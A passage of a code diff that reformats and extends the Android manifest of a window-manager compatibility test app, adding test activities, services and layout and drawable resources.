+             android:resizeableActivity="false"
+             android:supportsPictureInPicture="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true"
+             android:taskAffinity="nobody.but.PipOnStopActivity"/>
         <activity android:name=".PipActivityWithSameAffinity"
-                  android:resizeableActivity="false"
-                  android:supportsPictureInPicture="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true"
-                  android:taskAffinity="nobody.but.PipActivitySameAffinity"
-        />
+             android:resizeableActivity="false"
+             android:supportsPictureInPicture="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true"
+             android:taskAffinity="nobody.but.PipActivitySameAffinity"/>
         <activity android:name=".AlwaysFocusablePipActivity"
-                  android:theme="@style/Theme.Transparent"
-                  android:resizeableActivity="false"
-                  android:supportsPictureInPicture="true"
-                  androidprv:alwaysFocusable="true"
-                  android:exported="true"
-                  android:taskAffinity="nobody.but.AlwaysFocusablePipActivity"
-        />
+             android:theme="@style/Theme.Transparent"
+             android:resizeableActivity="false"
+             android:supportsPictureInPicture="true"
+             androidprv:alwaysFocusable="true"
+             android:exported="true"
+             android:taskAffinity="nobody.but.AlwaysFocusablePipActivity"/>
         <activity android:name=".LaunchIntoPinnedStackPipActivity"
-                  android:resizeableActivity="false"
-                  androidprv:alwaysFocusable="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true"
-        />
+             android:resizeableActivity="false"
+             androidprv:alwaysFocusable="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true"/>
         <activity android:name=".LaunchPipOnPipActivity"
-                  android:resizeableActivity="false"
-                  android:supportsPictureInPicture="true"
-                  android:taskAffinity="nobody.but.LaunchPipOnPipActivity"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true"
-        />
+             android:resizeableActivity="false"
+             android:supportsPictureInPicture="true"
+             android:taskAffinity="nobody.but.LaunchPipOnPipActivity"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true"/>
         <activity android:name=".LaunchEnterPipActivity"
-                  android:resizeableActivity="false"
-                  android:supportsPictureInPicture="true"
-                  androidprv:alwaysFocusable="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true"
-        />
+             android:resizeableActivity="false"
+             android:supportsPictureInPicture="true"
+             androidprv:alwaysFocusable="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true"/>
         <activity android:name=".PipActivityWithMinimalSize"
-                  android:resizeableActivity="false"
-                  android:supportsPictureInPicture="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true"
-                  android:taskAffinity="nobody.but.PipActivity">
+             android:resizeableActivity="false"
+             android:supportsPictureInPicture="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true"
+             android:taskAffinity="nobody.but.PipActivity">
                   <layout android:minWidth="100dp"
-                          android:minHeight="80dp"
-                  />
+                       android:minHeight="80dp"/>
         </activity>
         <activity android:name=".PipActivityWithTinyMinimalSize"
              android:resizeableActivity="false"
@@ -182,193 +165,163 @@
                        android:minHeight="1dp"/>
         </activity>
         <activity android:name=".FreeformActivity"
-                  android:resizeableActivity="true"
-                  android:taskAffinity="nobody.but.FreeformActivity"
-                  android:exported="true"
-        />
+             android:resizeableActivity="true"
+             android:taskAffinity="nobody.but.FreeformActivity"
+             android:exported="true"/>
         <activity android:name=".TopLeftLayoutActivity"
-                  android:resizeableActivity="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true">
+             android:resizeableActivity="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true">
                   <layout android:defaultWidth="240dp"
-                          android:defaultHeight="160dp"
-                          android:gravity="top|left"
-                          android:minWidth="100dp"
-                          android:minHeight="80dp"
-                  />
+                       android:defaultHeight="160dp"
+                       android:gravity="top|left"
+                       android:minWidth="100dp"
+                       android:minHeight="80dp"/>
         </activity>
         <activity android:name=".TopRightLayoutActivity"
-                  android:resizeableActivity="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true">
+             android:resizeableActivity="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true">
                   <layout android:defaultWidth="50%"
-                          android:defaultHeight="70%"
-                          android:gravity="top|right"
-                          android:minWidth="50dp"
-                          android:minHeight="80dp"
-                  />
+                       android:defaultHeight="70%"
+                       android:gravity="top|right"
+                       android:minWidth="50dp"
+                       android:minHeight="80dp"/>
         </activity>
         <activity android:name=".BottomLeftLayoutActivity"
-                  android:resizeableActivity="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true">
+             android:resizeableActivity="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true">
                   <layout android:defaultWidth="50%"
-                          android:defaultHeight="70%"
-                          android:gravity="bottom|left"
-                          android:minWidth="50dp"
-                          android:minHeight="80dp"
-                  />
+                       android:defaultHeight="70%"
+                       android:gravity="bottom|left"
+                       android:minWidth="50dp"
+                       android:minHeight="80dp"/>
         </activity>
         <activity android:name=".BottomRightLayoutActivity"
-                  android:resizeableActivity="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true">
+             android:resizeableActivity="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true">
                   <layout android:defaultWidth="240dp"
-                          android:defaultHeight="160dp"
-                          android:gravity="bottom|right"
-                          android:minWidth="100dp"
-                          android:minHeight="80dp"
-                  />
+                       android:defaultHeight="160dp"
+                       android:gravity="bottom|right"
+                       android:minWidth="100dp"
+                       android:minHeight="80dp"/>
         </activity>
         <activity android:name=".TurnScreenOnActivity"
-                  android:exported="true"
-        />
+             android:exported="true"/>
         <activity android:name=".TurnScreenOnDismissKeyguardActivity"
-            android:exported="true"
-        />
+             android:exported="true"/>
         <activity android:name=".SingleTaskActivity"
-            android:exported="true"
-            android:launchMode="singleTask"
-        />
+             android:exported="true"
+             android:launchMode="singleTask"/>
+        <activity android:name=".SingleTopActivity"
+                  android:exported="true"
+                  android:launchMode="singleTop"/>
         <activity android:name=".SingleInstanceActivity"
-            android:exported="true"
-            android:launchMode="singleInstance"
-        />
+             android:exported="true"
+             android:launchMode="singleInstance"/>
         <activity android:name=".TrampolineActivity"
-                  android:exported="true"
-                  android:theme="@android:style/Theme.NoDisplay"
-        />
+             android:exported="true"
+             android:theme="@android:style/Theme.NoDisplay"/>
         <activity android:name=".BroadcastReceiverActivity"
-                  android:resizeableActivity="true"
-                  android:exported="true"
-        />
+             android:resizeableActivity="true"
+             android:exported="true"/>
         <activity-alias android:enabled="true"
-                android:exported="true"
-                android:name=".EntryPointAliasActivity"
-                android:targetActivity=".TrampolineActivity" >
+             android:exported="true"
+             android:name=".EntryPointAliasActivity"
+             android:targetActivity=".TrampolineActivity">
         </activity-alias>
         <activity android:name=".BottomActivity"
-                  android:exported="true"
-                  android:theme="@style/NoPreview"
-        />
+             android:exported="true"
+             android:theme="@style/NoPreview"/>
         <activity android:name=".TopActivity"
-                  android:process=".top_process"
-                  android:exported="true"
-                  android:theme="@style/NoPreview"
-        />
+             android:process=".top_process"
+             android:exported="true"
+             android:theme="@style/NoPreview"/>
         <activity android:name=".UnresponsiveActivity"
-                  android:process=".unresponsive_activity_process"
-                  android:exported="true"
-                  android:theme="@style/NoPreview"
-        />
+             android:process=".unresponsive_activity_process"
+             android:exported="true"
+             android:theme="@style/NoPreview"/>
         <activity android:name=".TranslucentTopActivity"
-                  android:process=".top_process"
-                  android:exported="true"
-                  android:theme="@style/TranslucentTheme"
-        />
+             android:process=".top_process"
+             android:exported="true"
+             android:theme="@style/TranslucentTheme"/>
         <activity android:name=".TopNonResizableActivity"
-                  android:exported="true"
-                  android:resizeableActivity="false"
-                  android:theme="@style/NoPreview"
+             android:exported="true"
+             android:resizeableActivity="false"
+             android:theme="@style/NoPreview"
         />
         <activity android:name=".BottomNonResizableActivity"
-                  android:exported="true"
-                  android:resizeableActivity="false"
-                  android:theme="@style/NoPreview"
+             android:exported="true"
+             android:resizeableActivity="false"
+             android:theme="@style/NoPreview"
         />
         <activity android:name=".TranslucentTopNonResizableActivity"
-                  android:process=".top_process"
-                  android:exported="true"
-                  android:resizeableActivity="false"
-                  android:theme="@style/TranslucentTheme"
+             android:process=".top_process"
+             android:exported="true"
+             android:resizeableActivity="false"
+             android:theme="@style/TranslucentTheme"
         />
         <!-- An animation test with an explicitly opaque theme, overriding device defaults, as the
-             animation background being tested is not used in translucent activities. -->
+                         animation background being tested is not used in translucent activities. -->
         <activity android:name=".AnimationTestActivity"
-                  android:theme="@style/OpaqueTheme"
-                  android:exported="true"
-        />
+             android:theme="@style/OpaqueTheme"
+             android:exported="true"/>
         <activity android:name=".VirtualDisplayActivity"
-                  android:resizeableActivity="true"
-                  android:exported="true"
-                  android:taskAffinity="nobody.but.VirtualDisplayActivity"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|keyboardHidden"
-        />
+             android:resizeableActivity="true"
+             android:exported="true"
+             android:taskAffinity="nobody.but.VirtualDisplayActivity"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|keyboardHidden"/>
         <activity android:name=".ShowWhenLockedActivity"
-                  android:exported="true"
-        />
+             android:exported="true"/>
         <activity android:name=".ShowWhenLockedWithDialogActivity"
-                  android:exported="true"
-        />
+             android:exported="true"/>
         <activity android:name=".ShowWhenLockedDialogActivity"
-            android:exported="true"
-            android:theme="@android:style/Theme.Material.Dialog"
-        />
+             android:exported="true"
+             android:theme="@android:style/Theme.Material.Dialog"/>
         <activity android:name=".ShowWhenLockedTranslucentActivity"
-                  android:exported="true"
-                  android:theme="@android:style/Theme.Translucent"
-        />
+             android:exported="true"
+             android:theme="@android:style/Theme.Translucent"/>
         <activity android:name=".DismissKeyguardActivity"
-                  android:exported="true"
-        />
+             android:exported="true"/>
         <activity android:name=".DismissKeyguardMethodActivity"
-            android:exported="true"
-        />
+             android:exported="true"/>
         <activity android:name=".WallpaperActivity"
-            android:exported="true"
-            android:theme="@style/WallpaperTheme"
-        />
+             android:exported="true"
+             android:theme="@style/WallpaperTheme"/>
         <activity android:name=".InputMethodTestActivity"
-                android:exported="true" />
+             android:exported="true"/>
         <activity android:name=".KeyguardLockActivity"
-                  android:exported="true"
-        />
+             android:exported="true"/>
         <activity android:name=".LogConfigurationActivity"
-            android:exported="true"
-            android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-        />
+             android:exported="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"/>
         <activity android:name=".PortraitOrientationActivity"
-                  android:exported="true"
-                  android:screenOrientation="portrait"
-                  android:documentLaunchMode="always"
-        />
+             android:exported="true"
+             android:screenOrientation="portrait"
+             android:documentLaunchMode="always"/>
         <activity android:name=".LandscapeOrientationActivity"
-                  android:exported="true"
-                  android:screenOrientation="landscape"
-                  android:documentLaunchMode="always"
-        />
+             android:exported="true"
+             android:screenOrientation="landscape"
+             android:documentLaunchMode="always"/>
         <activity android:name=".MoveTaskToBackActivity"
-                  android:exported="true"
-                  android:launchMode="singleInstance"
-        />
+             android:exported="true"
+             android:launchMode="singleInstance"/>
         <activity android:name=".NightModeActivity"
-                  android:exported="true"
-                  android:configChanges="uiMode"
-        />
+             android:exported="true"
+             android:configChanges="uiMode"/>
         <activity android:name=".FontScaleActivity"
-                  android:exported="true"
-        />
+             android:exported="true"/>
         <activity android:name=".FontScaleNoRelaunchActivity"
-                  android:exported="true"
-                  android:configChanges="fontScale"
-        />
+             android:exported="true"
+             android:configChanges="fontScale"/>
         <activity android:name=".DisplayAccessCheckEmbeddingActivity"
-                   android:allowEmbedded="true"
-                   android:exported="true"/>
-        <receiver
-            android:name=".LaunchBroadcastReceiver"
-            android:enabled="true"
-            android:exported="true" >
+             android:allowEmbedded="true"
+             android:exported="true"/>
+        <receiver android:name=".LaunchBroadcastReceiver"
+             android:enabled="true"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.server.wm.app.LAUNCH_BROADCAST_ACTION"/>
                 <action android:name="android.server.wm.app.ACTION_TEST_ACTIVITY_START"/>
@@ -376,168 +329,183 @@
         </receiver>
 
         <activity android:name=".AssistantActivity"
-            android:exported="true"
-            android:screenOrientation="locked" />
+             android:exported="true"
+             android:screenOrientation="locked"/>
         <activity android:name=".TranslucentAssistantActivity"
-            android:exported="true"
-            android:theme="@style/Theme.Transparent" />
+             android:exported="true"
+             android:theme="@style/Theme.Transparent"/>
         <activity android:name=".LaunchAssistantActivityFromSession"
-            android:taskAffinity="nobody.but.LaunchAssistantActivityFromSession"
-            android:exported="true" />
+             android:taskAffinity="nobody.but.LaunchAssistantActivityFromSession"
+             android:exported="true"/>
         <activity android:name=".LaunchAssistantActivityIntoAssistantStack"
-            android:taskAffinity="nobody.but.LaunchAssistantActivityIntoAssistantStack"
-            android:exported="true" />
+             android:taskAffinity="nobody.but.LaunchAssistantActivityIntoAssistantStack"
+             android:exported="true"/>
 
         <service android:name=".AssistantVoiceInteractionService"
-                 android:permission="android.permission.BIND_VOICE_INTERACTION"
-                 android:exported="true">
+             android:permission="android.permission.BIND_VOICE_INTERACTION"
+             android:exported="true">
             <meta-data android:name="android.voice_interaction"
-                       android:resource="@xml/interaction_service" />
+                 android:resource="@xml/interaction_service"/>
             <intent-filter>
-                <action android:name="android.service.voice.VoiceInteractionService" />
+                <action android:name="android.service.voice.VoiceInteractionService"/>
             </intent-filter>
         </service>
 
         <service android:name=".AssistantVoiceInteractionSessionService"
-                 android:permission="android.permission.BIND_VOICE_INTERACTION"
-                 android:exported="true" />
+             android:permission="android.permission.BIND_VOICE_INTERACTION"
+             android:exported="true"/>
 
         <activity android:name=".SplashscreenActivity"
-            android:taskAffinity="nobody.but.SplashscreenActivity"
-            android:theme="@style/SplashscreenTheme"
-            android:exported="true" />
+             android:taskAffinity="nobody.but.SplashscreenActivity"
+             android:theme="@style/SplashscreenTheme"
+             android:exported="true"/>
+
+        <activity android:name=".DisablePreviewActivity"
+             android:theme="@style/NoPreview"
+             android:exported="true"/>
+        <activity android:name=".ShowWhenLockedNoPreviewActivity"
+             android:theme="@style/NoPreview"
+             android:exported="true"/>
+        <activity android:name=".ShowWhenLockedAttrNoPreviewActivity"
+             android:showWhenLocked="true"
+             android:theme="@style/NoPreview"
+             android:exported="true"/>
+        <activity android:name=".ShowWhenLockedAttrRemoveAttrNoPreviewActivity"
+             android:showWhenLocked="true"
+             android:theme="@style/NoPreview"
+             android:exported="true"/>
+        <activity android:name=".ShowWhenLockedWithDialogNoPreviewActivity"
+             android:theme="@style/NoPreview"
+             android:exported="true"/>
 
         <activity android:name=".NoHistoryActivity"
-                  android:noHistory="true"
-                  android:exported="true" />
+             android:noHistory="true"
+             android:exported="true"/>
 
         <activity android:name=".ShowWhenLockedAttrActivity"
-                  android:showWhenLocked="true"
-                  android:exported="true" />
+             android:showWhenLocked="true"
+             android:exported="true"/>
 
         <activity android:name=".ShowWhenLockedAttrRemoveAttrActivity"
-                  android:showWhenLocked="true"
-                  android:exported="true" />
+             android:showWhenLocked="true"
+             android:exported="true"/>
 
         <activity android:name=".ShowWhenLockedAttrWithDialogActivity"
-                  android:showWhenLocked="true"
-                  android:exported="true" />
+             android:showWhenLocked="true"
+             android:exported="true"/>
 
         <activity android:name=".InheritShowWhenLockedAddActivity"
-            android:exported="true" />
+             android:exported="true"/>
 
         <activity android:name=".InheritShowWhenLockedAttrActivity"
-                  android:inheritShowWhenLocked="true"
-                  android:exported="true" />
+             android:inheritShowWhenLocked="true"
+             android:exported="true"/>
 
         <activity android:name=".InheritShowWhenLockedRemoveActivity"
-                  android:inheritShowWhenLocked="true"
-                  android:exported="true" />
+             android:inheritShowWhenLocked="true"
+             android:exported="true"/>
 
         <activity android:name=".NoInheritShowWhenLockedAttrActivity"
-                  android:exported="true" />
+             android:exported="true"/>
 
         <activity android:name=".ShowWhenLockedAttrImeActivity"
-                  android:showWhenLocked="true"
-                  android:exported="true" />
+             android:showWhenLocked="true"
+             android:exported="true"/>
 
         <activity android:name=".ShowWhenLockedAttrRotationActivity"
-                  android:showWhenLocked="true"
-                  android:configChanges="orientation|screenSize"
-                  android:exported="true" />
+             android:showWhenLocked="true"
+             android:configChanges="orientation|screenSize"
+             android:exported="true"/>
 
         <activity android:name=".ToastActivity"
-                  android:exported="true"/>
+             android:exported="true"/>
 
         <activity android:name=".TurnScreenOnAttrActivity"
-                  android:turnScreenOn="true"
-                  android:exported="true" />
+             android:turnScreenOn="true"
+             android:exported="true"/>
 
         <activity android:name=".TurnScreenOnShowOnLockActivity"
-                  android:showWhenLocked="true"
-                  android:turnScreenOn="true"
-                  android:exported="true" />
+             android:showWhenLocked="true"
+             android:turnScreenOn="true"
+             android:exported="true"/>
 
         <activity android:name=".TurnScreenOnAttrRemoveAttrActivity"
-                  android:turnScreenOn="true"
-                  android:showWhenLocked="true"
-                  android:exported="true" />
+             android:turnScreenOn="true"
+             android:showWhenLocked="true"
+             android:exported="true"/>
 
         <activity android:name=".TurnScreenOnSingleTaskActivity"
-                  android:turnScreenOn="true"
-                  android:showWhenLocked="true"
-                  android:exported="true"
-                  android:launchMode="singleTask" />
+             android:turnScreenOn="true"
+             android:showWhenLocked="true"
+             android:exported="true"
+             android:launchMode="singleTask"/>
 
         <activity android:name=".TurnScreenOnAttrDismissKeyguardActivity"
-                  android:turnScreenOn="true"
-                  android:exported="true"/>
+             android:turnScreenOn="true"
+             android:exported="true"/>
 
         <activity android:name=".TurnScreenOnWithRelayoutActivity"
-                  android:exported="true"/>
+             android:exported="true"/>
 
         <activity android:name=".RecursiveActivity"
-                  android:exported="true"/>
+             android:exported="true"/>
 
         <activity android:name=".LaunchTestOnDestroyActivity"
-                  android:exported="true"/>
+             android:exported="true"/>
 
         <activity android:name=".ReportFullyDrawnActivity"
-                  android:exported="true"/>
+             android:exported="true"/>
 
         <activity android:name=".NoDisplayActivity"
-                  android:exported="true"
-                  android:theme="@android:style/Theme.NoDisplay"/>
+             android:exported="true"
+             android:theme="@android:style/Theme.NoDisplay"/>
 
         <activity android:name=".SingleTaskInstanceDisplayActivity"
-                  android:exported="true" />
+             android:exported="true"/>
 
         <activity android:name=".SingleTaskInstanceDisplayActivity2"
-                  android:exported="true" />
+             android:exported="true"/>
 
         <activity android:name=".SingleTaskInstanceDisplayActivity3"
-                  android:exported="true"
-                  android:launchMode="singleInstance" />
+             android:exported="true"
+             android:launchMode="singleInstance"/>
 
-        <service
-            android:name=".LiveWallpaper"
-            android:permission="android.permission.BIND_WALLPAPER">
+        <service android:name=".LiveWallpaper"
+             android:permission="android.permission.BIND_WALLPAPER"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.service.wallpaper.WallpaperService">
                 </action>
             </intent-filter>
-            <meta-data
-                android:name="android.service.wallpaper"
-                android:resource="@xml/wallpaper">
+            <meta-data android:name="android.service.wallpaper"
+                 android:resource="@xml/wallpaper">
             </meta-data>
         </service>
 
-        <service
-            android:name=".TestDream"
-            android:exported="true"
-            android:permission="android.permission.BIND_DREAM_SERVICE">
+        <service android:name=".TestDream"
+             android:exported="true"
+             android:permission="android.permission.BIND_DREAM_SERVICE">
             <intent-filter>
-                <action android:name="android.service.dreams.DreamService" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.service.dreams.DreamService"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </service>
 
-        <service
-            android:name=".TestStubbornDream"
-            android:exported="true"
-            android:permission="android.permission.BIND_DREAM_SERVICE">
+        <service android:name=".TestStubbornDream"
+             android:exported="true"
+             android:permission="android.permission.BIND_DREAM_SERVICE">
             <intent-filter>
-                <action android:name="android.service.dreams.DreamService" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.service.dreams.DreamService"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </service>
 
         <!-- Disable home activities by default or it may disturb other tests by
-             showing ResolverActivity when start home activity -->
+                         showing ResolverActivity when start home activity -->
         <activity-alias android:name=".HomeActivity"
-                        android:targetActivity=".TestActivity"
-                        android:enabled="false"
-                        android:exported="true">
+             android:targetActivity=".TestActivity"
+             android:enabled="false"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.HOME"/>
@@ -546,9 +514,9 @@
         </activity-alias>
 
         <activity-alias android:name=".SecondaryHomeActivity"
-                        android:targetActivity=".TestActivity"
-                        android:enabled="false"
-                        android:exported="true">
+             android:targetActivity=".TestActivity"
+             android:enabled="false"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.HOME"/>
@@ -558,9 +526,9 @@
         </activity-alias>
 
         <activity-alias android:name=".SingleHomeActivity"
-                        android:targetActivity=".SingleInstanceActivity"
-                        android:enabled="false"
-                        android:exported="true">
+             android:targetActivity=".SingleInstanceActivity"
+             android:enabled="false"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.HOME"/>
@@ -569,9 +537,9 @@
         </activity-alias>
 
         <activity-alias android:name=".SingleSecondaryHomeActivity"
-                        android:targetActivity=".SingleInstanceActivity"
-                        android:enabled="false"
-                        android:exported="true">
+             android:targetActivity=".SingleInstanceActivity"
+             android:enabled="false"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.HOME"/>
@@ -581,43 +549,62 @@
         </activity-alias>
 
         <service android:name="com.android.cts.verifier.vr.MockVrListenerService"
-                 android:exported="true"
-                 android:enabled="true"
-                 android:permission="android.permission.BIND_VR_LISTENER_SERVICE">
+             android:exported="true"
+             android:enabled="true"
+             android:permission="android.permission.BIND_VR_LISTENER_SERVICE">
            <intent-filter>
-               <action android:name="android.service.vr.VrListenerService" />
+               <action android:name="android.service.vr.VrListenerService"/>
            </intent-filter>
         </service>
 
         <activity android:name=".HostActivity"
-                  android:exported="true">
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.server.wm.app.HostActivity"></action>
+                <action android:name="android.server.wm.app.HostActivity"/>
             </intent-filter>
         </activity>
         <service android:name=".RenderService"
-                 android:process=".render_process" />
-        <activity
-            android:name=".ClickableToastActivity"
+             android:process=".render_process"/>
+        <activity android:name=".ClickableToastActivity"
+             android:exported="true"/>
+        <activity android:name=".MinimalPostProcessingActivity"
+             android:exported="true"/>
+        <activity android:name=".MinimalPostProcessingActivity2"
+             android:exported="true"/>
+        <activity android:name=".MinimalPostProcessingManifestActivity"
+             android:preferMinimalPostProcessing="true"
+             android:exported="true"/>
+        <activity android:name=".PopupMinimalPostProcessingActivity"
+             android:theme="@android:style/Theme.Holo.Dialog.NoActionBar"
+             android:exported="true"/>
+        <activity android:name=".CrashingActivity"
             android:exported="true" />
-        <activity
-            android:name=".MinimalPostProcessingActivity"
-            android:exported="true" />
-        <activity
-            android:name=".MinimalPostProcessingActivity2"
-            android:exported="true"/>
-        <activity
-            android:name=".MinimalPostProcessingManifestActivity"
-            android:preferMinimalPostProcessing="true"
-            android:exported="true"/>
-        <activity
-            android:name=".PopupMinimalPostProcessingActivity"
-            android:theme="@android:style/Theme.Holo.Dialog.NoActionBar"
-            android:exported="true" />
-        <activity
-            android:name=".PresentationActivity"
-            android:launchMode="singleTop"
-            android:exported="true" />
+        <activity android:name=".PresentationActivity"
+             android:launchMode="singleTop"
+             android:exported="true"/>
+        <activity android:name=".HideOverlayWindowsActivity" android:exported="true"/>
+        <activity android:name=".BackgroundImageActivity"
+             android:theme="@style/BackgroundImage"
+             android:exported="true"/>
+        <activity android:name=".BlurActivity"
+             android:exported="true"
+             android:theme="@style/TranslucentDialog"/>
+        <activity android:name=".BlurAttributesActivity"
+             android:exported="true"
+             android:theme="@style/BlurryDialog"/>
+        <activity android:name=".BadBlurActivity"
+             android:exported="true"
+             android:theme="@style/BadBlurryDialog"/>
+
+        <activity android:name=".HandleSplashScreenExitActivity"
+                  android:theme="@style/ShowBrandingTheme"
+                  android:configChanges="uiMode"
+                  android:exported="true"/>
+        <activity android:name=".SplashScreenReplaceIconActivity"
+                  android:exported="true"
+                  android:theme="@style/ReplaceIconTheme"/>
+
+        <service android:name=".OverlayTestService"
+                 android:exported="true" />
     </application>
 </manifest>
-
diff --git a/tests/framework/base/windowmanager/app/res/drawable/animationDrawable.xml b/tests/framework/base/windowmanager/app/res/drawable/animationDrawable.xml
new file mode 100644
index 0000000..698a6e6
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/res/drawable/animationDrawable.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<animation-list xmlns:android="http://schemas.android.com/apk/res/android" android:oneshot="true">
+    <item android:drawable="@drawable/start" android:duration="500"/>
+</animation-list>
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/app/res/drawable/branding.png b/tests/framework/base/windowmanager/app/res/drawable/branding.png
new file mode 100644
index 0000000..0da4ee1
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/res/drawable/branding.png
Binary files differ
diff --git a/tests/framework/base/windowmanager/app/res/drawable/start.jpg b/tests/framework/base/windowmanager/app/res/drawable/start.jpg
new file mode 100644
index 0000000..54e05e0
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/res/drawable/start.jpg
Binary files differ
diff --git a/tests/framework/base/windowmanager/app/res/layout/background_image.xml b/tests/framework/base/windowmanager/app/res/layout/background_image.xml
new file mode 100644
index 0000000..ffab16b
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/res/layout/background_image.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="horizontal">
+
+    <View
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_weight="1"
+        android:background="#0000FF" />
+
+    <View
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_weight="1"
+        android:background="#FF0000" />
+</LinearLayout>
diff --git a/tests/framework/base/windowmanager/app/res/layout/blur_activity.xml b/tests/framework/base/windowmanager/app/res/layout/blur_activity.xml
new file mode 100644
index 0000000..b8926e5
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/res/layout/blur_activity.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="50dp"
+    android:layout_height="50dp">
+</FrameLayout>
diff --git a/tests/framework/base/windowmanager/app/res/layout/simple_ui_elements.xml b/tests/framework/base/windowmanager/app/res/layout/simple_ui_elements.xml
new file mode 100644
index 0000000..b5c5c71
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/res/layout/simple_ui_elements.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:padding="8dp">
+
+    <TextView
+        android:id="@+id/text"
+        android:layout_width="wrap_content"
